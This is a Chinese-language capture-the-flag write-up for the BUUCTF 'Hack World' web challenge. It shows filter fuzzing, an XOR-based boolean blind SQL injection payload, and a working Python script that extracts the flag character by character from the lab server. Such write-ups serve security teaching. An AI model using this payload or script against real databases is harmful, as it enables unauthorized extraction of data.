buuctf_[CISCN2019 華北賽區 Day2 Web1]Hack World

Hack World


  1. 進入後提示是sql注入,並且給了表和列名。在這裏插入圖片描述
  2. 進行fuzz測試,過濾了很多字符。
    在這裏插入圖片描述
  • 主要的union字符被過濾,但select,from沒有被過濾。
  • 我們還發現id只有輸入1,2時分別返回Hello, glzjin wants a girlfriend.,Do you want to be my girlfriend?並且支持異或判斷
    在這裏插入圖片描述
  1. 所以可以進行布爾盲注讀取數據。
    id=0^(ascii(substr((select(flag)from(flag)),1,1))>1)
    在這裏插入圖片描述
  2. 寫腳本進行盲注
import requests

url = "http://37264524-68ca-4248-9566-848debbbf6fd.node3.buuoj.cn/index.php"
payload = {
	"id" : ""
}
result = ""
for i in range(1,50):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
		html = requests.post(url,data=payload)
		if "Hello" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)
  1. 得到結果:
    在這裏插入圖片描述
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章